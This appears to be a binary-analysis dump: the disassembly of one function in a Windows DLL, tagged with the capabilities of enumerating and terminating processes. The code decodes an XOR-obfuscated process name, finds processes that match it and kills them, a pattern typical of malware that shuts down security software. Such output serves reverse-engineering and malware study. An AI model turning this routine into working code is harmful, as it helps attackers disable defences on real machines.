Function at 0x18000b560
Capabilities:
Enumerate processes
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r14
push rbp
sub rsp, 0x2b0
lea rbp, [rsp + 0x40]
and rbp, 0xffffffffffffffe0
mov rax, qword [0x1801f7e40]
xor rax, rsp
mov qword [rbp + 0x260], rax
movabs rax, 0xf8cd5005878c19b9
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x20], rax
movabs rax, 0x6c4cf09e045f5a53
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x28], rax
movabs rax, 0x431be80ae248976c
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x30], rax
movabs rax, 0xede970c07c290be5
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x38], rax
movabs rax, 0x3602883ce2f04e19
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x40], rax
movabs rax, 0x8caac2b84b1aed59
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x48], rax
movabs rax, 0xece985493a1f1ce5
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x50], rax
movabs rax, 0xdde3420dac6f16fe
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x58], rax
movabs rax, 0x57c38bdfff454914
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x60], rax
movabs rcx, 0x8db6d352a076893e
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x68], rax
movabs rax, 0xf8ae507787e919e9
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x200], rax
movabs rax, 0x6c25f0ea042f5a36
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x208], rax
movabs rax, 0x4372e859e2269703
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x210], rax
movabs rax, 0xed8870ac7c5c0b88
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x218], rax
movabs rax, 0x366c8853e2994e6d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x220], rax
movabs rax, 0x8cdec2d64b75ed1a
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x228], rax
movabs rax, 0xec8c85253a701c97
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x230], rax
movabs rax, 0xdd9b4268ac41168c
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x238], rax
movabs rax, 0x57c38bdfff454971
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x240], rax
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x248], rax
vmovdqu ymm0, ymmword [rbp + 0x20]
vpxor ymm1, ymm0, ymmword [rbp + 0x200]
vmovdqa ymmword [rbp + 0x20], ymm1
vmovdqu ymm0, ymmword [rbp + 0x40]
vpxor ymm1, ymm0, ymmword [rbp + 0x220]
vmovdqa ymmword [rbp + 0x40], ymm1
vmovdqa xmm0, xmmword [rbp + 0x60]
vxorps xmm0, xmm0, xmmword [rbp + 0x240]
vmovdqa xmmword [rbp + 0x60], xmm0
vxorps xmm0, xmm0, xmm0
vmovups xmmword [rbp + 0x1d0], xmm0
vxorps xmm1, xmm1, xmm1
vmovdqu xmmword [rbp + 0x1e0], xmm1
lea rax, [rbp + 0x20]
mov r8, 0xffffffffffffffff
vzeroupper
nop
inc r8
cmp word [rax + r8*2], 0
jne 0x18000b7c0
lea rdx, [rbp + 0x20]
lea rcx, [rbp + 0x1d0]
call fcn.180015e10
nop
lea rdx, [rbp + 0x1d0]
cmp qword [rbp + 0x1e8], 7
cmova rdx, qword [rbp + 0x1d0]
mov rax, qword [rbp + 0x1e0]
lea r14, [rdx + rax*2]
lea rdi, [rbp + 0x1d0]
cmova rdi, qword [rbp + 0x1d0]
xorps xmm0, xmm0
movups xmmword [rbp + 0x1b0], xmm0
movabs rbx, 0x7fffffffffffffff
mov qword [rbp + 0x1c0], 0
mov qword [rbp + 0x1c8], reloc.WS2_32.dll_ntohs
cmp rdi, r14
jne 0x18000b848
mov byte [rbp + 0x1b0], 0
jmp 0x18000b94f
sub r14, rdi
sar r14, 1
cmp r14, rbx
ja 0x18000bb7f
mov esi, reloc.WS2_32.dll_ntohs
cmp r14, rsi
jbe 0x18000b906
mov rsi, r14
or rsi, 0xf
cmp rsi, rbx
jbe 0x18000b8b2
mov rsi, rbx
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.18013fcd8
mov rcx, rax
test rax, rax
je 0x18000badf
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
mov qword [rbp + 0x1b0], rax
mov qword [rbp + 0x1c8], rsi
jmp 0x18000b90d
mov eax, reloc.WLDAP32.dll_Ordinal_22
cmp rsi, rax
cmovb rsi, rax
lea rcx, [rsi + 1]
test rcx, rcx
jne 0x18000b8d9
xor eax, eax
mov qword [rbp + 0x1b0], rax
mov qword [rbp + 0x1c8], rsi
jmp 0x18000b90d
cmp rcx, 0x1000
jb 0x18000b8f1
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x18000bb85
jmp 0x18000b882
call fcn.18013fcd8
mov qword [rbp + 0x1b0], rax
mov qword [rbp + 0x1c8], rsi
jmp 0x18000b90d
mov rax, qword [rbp + 0x1b0]
lea r8, [rbp + 0x1b0]
cmp rsi, 0xf
cmova r8, rax
mov rcx, r8
mov rdx, r14
test r14, r14
je 0x18000b943
nop word [rax + rax]
movzx eax, byte [rdi]
mov byte [rcx], al
lea rcx, [rcx + 1]
lea rdi, [rdi + 2]
sub rdx, 1
jne 0x18000b930
mov qword [rbp + 0x1c0], r14
mov byte [r8 + r14], 0
xor edx, edx
mov ecx, 2
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rsi, rax
mov dword [rbp + 0x80], 0x130
lea rdx, [rbp + 0x80]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x18000b9f8
nop dword [rax]
lea rdx, [rbp + 0x1b0]
cmp qword [rbp + 0x1c8], 0xf
cmova rdx, qword [rbp + 0x1b0]
lea rcx, [rbp + 0xac]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__stricmp]
test eax, eax
jne 0x18000b9dc
mov r8d, dword [rbp + 0x88]
xor edx, edx
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rdi, rax
test rax, rax
je 0x18000b9dc
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, rdi
test eax, eax
jne 0x18000b9f2
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, [rbp + 0x80]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x18000b980
jmp 0x18000b9f8
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [rbp]
call fcn.180005de0
mov rax, qword [rbp]
mov rcx, rax
movabs rdx, 0x7ffffffed5fa0dff
cmp rax, rdx
jge 0x18000ba2d
movabs rbx, 0x12a05f200
add rbx, rax
mov esi, 0xff
movabs rdi, 0x4e94914f0000
movabs r14, 0x431bde82d7b634db
lea rcx, [rbp]
call fcn.180005de0
mov rax, qword [rbp]
cmp rbx, rax
je 0x18000baa7
mov ecx, 1
cmovl ecx, esi
test cl, cl
jle 0x18000baa7
mov rcx, rbx
sub rcx, rax
cmp rcx, rdi
jge 0x18000ba9b
mov rax, r14
imul rcx
sar rdx, 0x12
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rax, rdx, 0xf4240
cmp rax, rcx
jge 0x18000ba92
inc rdx
mov ecx, edx
call sub.KERNEL32.dll_Sleep
jmp 0x18000ba46
mov ecx, 0x5265c00
call sub.KERNEL32.dll_Sleep
jmp 0x18000ba46
mov rdx, qword [rbp + 0x1c8]
cmp rdx, 0xf
jbe 0x18000baeb
inc rdx
mov rcx, qword [rbp + 0x1b0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000bae6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x18000bae6
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.18013fbb0
mov qword [rbp + 0x1c0], 0
mov qword [rbp + 0x1c8], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x1b0], 0
mov rdx, qword [rbp + 0x1e8]
cmp rdx, 7
jbe 0x18000bb51
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x1d0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000bb4c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x18000bb4c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.18013fbb0
xor eax, eax
mov rcx, qword [rbp + 0x260]
xor rcx, rsp
call fcn.18013fb90
lea r11, [rsp + 0x2b0]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov r14, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret
call fcn.1800053a0
nop
call fcn.180005300
int3